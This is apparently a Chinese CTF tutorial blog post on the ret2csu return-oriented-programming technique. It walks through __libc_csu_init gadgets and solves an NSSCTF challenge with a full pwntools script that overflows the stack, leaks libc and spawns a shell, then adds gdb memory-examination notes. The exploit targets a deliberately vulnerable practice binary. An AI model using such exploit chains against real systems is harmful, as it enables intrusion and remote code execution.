# 中级 ROP_CSU

ret2csu 泄露 libc 地址之后利用 libc 中的 gadget getshell. ret2csu 配合 pop rax; syscall; 等 gadget 直接 GetShell. 开启 PIE 的情况下,利用 offset2lib 进行 ret2csu, 或者直接利用 libc 中的 gadget getshell.

只要动态连接都会有 _libc_csu_init 函数

# 原理

在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的 gadgets。 这时候,我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。我们先来看一下这个函数 (当然,不同版本的这个函数有一定的区别)

gadget1_先执行

  • 从 0x000000000040061A 一直到结尾,我们可以利用栈溢出构造栈上数据来控制 rbx,rbp,r12,r13,r14,r15 寄存器的数据。
.text:000000000040061A                 pop     rbx
.text:000000000040061B                 pop     rbp
.text:000000000040061C                 pop     r12
.text:000000000040061E                 pop     r13
.text:0000000000400620                 pop     r14
.text:0000000000400622                 pop     r15
.text:0000000000400624                 retn
.text:0000000000400624 __libc_csu_init endp

我们通常会把 rbx 的值设置成 0,而 rbp 设置成 1. 这样的目的是在执行 call qword ptr [r12+rbx*8] 这个指令的时候,我们仅仅把 r12 的值给设置成指向我们想 call 地址的地址即可,从而不用管 rbx。

又因为这三个指令 add rbx,;cmp rbx, rbp;jnz short loc_400600,jnz 是不相等时跳转,我们通常并不想跳转到 0x400580 这个地方,因为此刻执行这三个指令的时候,我们就是从 0x400600 这个地址过来的。因此 rbx 加一之后,我们要让它和 rbp 相等,因此 rbp 就要提前被设置成 1.

然后 r12 要存放的就是指向(我们要跳转到那个地址)的地址。这里有个很重要的小技巧,如果你不想使用这个 call,或者说你想 call 一个函数,但是你拿不到它的 got 地址,因此没法使用这个 call,那就去 call 一个空函数(_term_proc 函数)(并且要注意的是,r12 的地址填写的并不是_term_proc 的地址,而是指向这个函数的地址)。

然后 r13,r14,r15 这三个值分别对应了 rdx,rsi,edi。这里要注意的是,r15 最后传给的是 edi, 最后 rdi 的高四字节都是 00,而低四字节才是 r15 里的内容。(也就是说如果想用 ret2csu 去把 rdi 里存放成一个地址是不可行的)

gadget2_后执行

  • 从 0x0000000000400600 到 0x0000000000400609,我们可以将 r13 赋给 rdx, 将 r14 赋给 rsi,将 r15d 赋给 edi(需要注意的是,虽然这里赋给的是 edi,但其实此时 rdi 的高 32 位寄存器值为 0(自行调试),所以其实我们可以控制 rdi 寄存器的值,只不过只能控制低 32 位),而这三个寄存器,也是 x64 函数调用中传递的前三个寄存器。此外,如果我们可以合理地控制 r12 与 rbx,那么我们就可以调用我们想要调用的函数。比如说我们可以控制 rbx 为 0,r12 为存储我们想要调用的函数的地址。

此时开始执行这部分代码,这没什么好说的了,就是把 r13,r14,r15 的值放入 rdx,rsi,edi 三个寄存器里面。

然后由于我们前面的 rbx 是 0,加一之后等于了 rbp,因此 jnz 不跳转。那就继续向下执行,如果我们上面 call 了一个空函数的话,那我们就利用下面的 ret。由于继续向下执行,因此又来到了 gadget1 这里。

如果不需要再一次控制参数的话,那我们此时把栈中的数据填充 56(7*8 你懂得)个垃圾数据即可。

如果我们还需要继续控制参数的话,那就此时不填充垃圾数据,继续去控制参数,总之不管干啥呢,这里都要凑齐 56 字节的数据,以便我们执行最后的 ret,最后 ret 去执行我们想要执行的函数即可。

.text:0000000000400600                 mov     rdx, r13
.text:0000000000400603                 mov     rsi, r14
.text:0000000000400606                 mov     edi, r15d
.text:0000000000400609                 call    qword ptr [r12+rbx*8]
  • 从 0x000000000040060D 到 0x0000000000400614,我们可以控制 rbx 与 rbp 的之间的关系为 rbx+1 = rbp,这样我们就不会执行 loc_400600,进而可以继续执行下面的汇编程序。这里我们可以简单的设置 rbx=0,rbp=1。
.text:000000000040060D                 add     rbx, 1
.text:0000000000400611                 cmp     rbx, rbp
.text:0000000000400614                 jnz     short loc_400600

做一个稍微简单一点的 ret2libc 题目:

题目链接:ret2csu

img

img

可以看出,和别的题没什么特别之处。

img

img

很明显能够看出在 vuln 处的 read 函数有栈溢出漏洞。pad 为 0x100+8 找一下有没有后门(题目给出 libc 文件,那么一般都是没有后门的)

img

没有 system 调用,那么我们需要去单独泄露函数的真实地址,去计算 system 地址。我们可以用 ROPgadget 去看一下我们能不能用基本的 ROP 链去泄露地址,这里我们可以泄露 write 函数的真实地址或 read 函数的真实地址。

0x00000000004012ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret

本身想用这个 gadget 去获取真实地址但是

payload = pad + p64(pop_chain) + p64(1) + p64(write_got) + p64(8) + p64(0) + p64(write_plt) + p64(main_addr)

上面构造的 payload 并不能得到地址

所以老老实实的去用 csu 去做这个题吧。

img

gadget_1 = 0x4012AA

gadget_2 = 0x401290

但是这里有趣的是跳转的地址是用 r15+rbx*8 所以只需要注意的一点 r15 附到我们想跳转到地址就行。

payload = pad 
payload += p64(gadget_1)
payload += p64(0) # rbx
payload += p64(1) # rbp
payload += p64(1) # r12
payload += p64(write_got) # r13
payload += p64(8) # r14
payload += p64(write_got) # r15
payload += p64(gadget_2)
payload += b'a'*(0x8+8*6)
payload += p64(main_addr)
from pwn import *
context.log_level = 'debug'
debug = 0
if debug :
        p = process('ret2csu')
else:
        p = remote('node1.anna.nssctf.cn',28119)

elf = ELF('ret2csu')

gadget_1 = 0x4012AA
gadget_2 = 0x401290
write_got = elf.got['write']
write_plt = elf.plt['write']
print(hex(write_got))
main_addr = elf.symbols['main']
print(hex(main_addr))
pop_rdi = 0x04012b3
# pop_chain = 0x00000000004012ac
ret = 0x040101a 
pad = b'a'*(0x100 + 0x8)
payload = pad 
payload += p64(gadget_1)
payload += p64(0) # rbx
payload += p64(1) # rbp
payload += p64(1) # r12
payload += p64(write_got) # r13
payload += p64(8) # r14
payload += p64(write_got) # r15
payload += p64(gadget_2)
payload += b'a'*(0x8+8*6)
payload += p64(main_addr)

p.recvuntil('Input:\n')
p.sendline(payload)
write_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

libc = ELF('libc.so.6')
base = write_addr - libc.sym['write']
sys = base + libc.sym['system']
bin_sh = list(libc.search(b'/bin/sh'))[0] + base
payload1 = pad + p64(ret) +p64(pop_rdi) + p64(bin_sh) + p64(sys)
p.recvuntil('Input:\n')
p.sendline(payload1)

p.interactive()

# 插序 gdb 一些用法

# X 命令:

可以使用 examine 命令 (简写是 x) 来查看内存地址中的值。x 命令的语法如下所示:

x/<n/f/u>

n、f、u 是可选的参数。

n 是一个正整数,表示需要显示的内存单元的个数,也就是说从当前地址向后显示几个内存单元的内容,一个内存单元的大小由后面的 u 定义。

f 表示显示的格式,参见下面。如果地址所指的是字符串,那么格式可以是 s,如果地十是指令地址,那么格式可以是 i。

x 按十六进制格式显示变量。
d 按十进制格式显示变量。
u 按十六进制格式显示无符号整型。
o 按八进制格式显示变量。
t 按二进制格式显示变量。
a 按十六进制格式显示变量。
c 按字符格式显示变量。
f 按浮点数格式显示变量。
s 按字符串显示。
b 按字符显示。
i 显示汇编指令。

u 表示从当前地址往后请求的字节数,如果不指定的话,GDB 默认是 4 个 bytes。u 参数可以用下面的字符来代替,b 表示单字节,h 表示双字节,w 表示四字 节,g 表示八字节。当我们指定了字节长度后,GDB 会从指内存定的内存地址开始,读写指定字节,并把其当作一个值取出来。

x /10gx 0x123456 // 常用,从 0x123456 开始每个单元八个字节,十六进制显示是个单元的数据

x /10xd $rdi // 从 rdi 指向的地址向后打印 10 个单元,每个单元 4 字节的十进制数

x /10i 0x123456 // 常用,从 0x123456 处向后显示十条汇编指令

更新于 阅读次数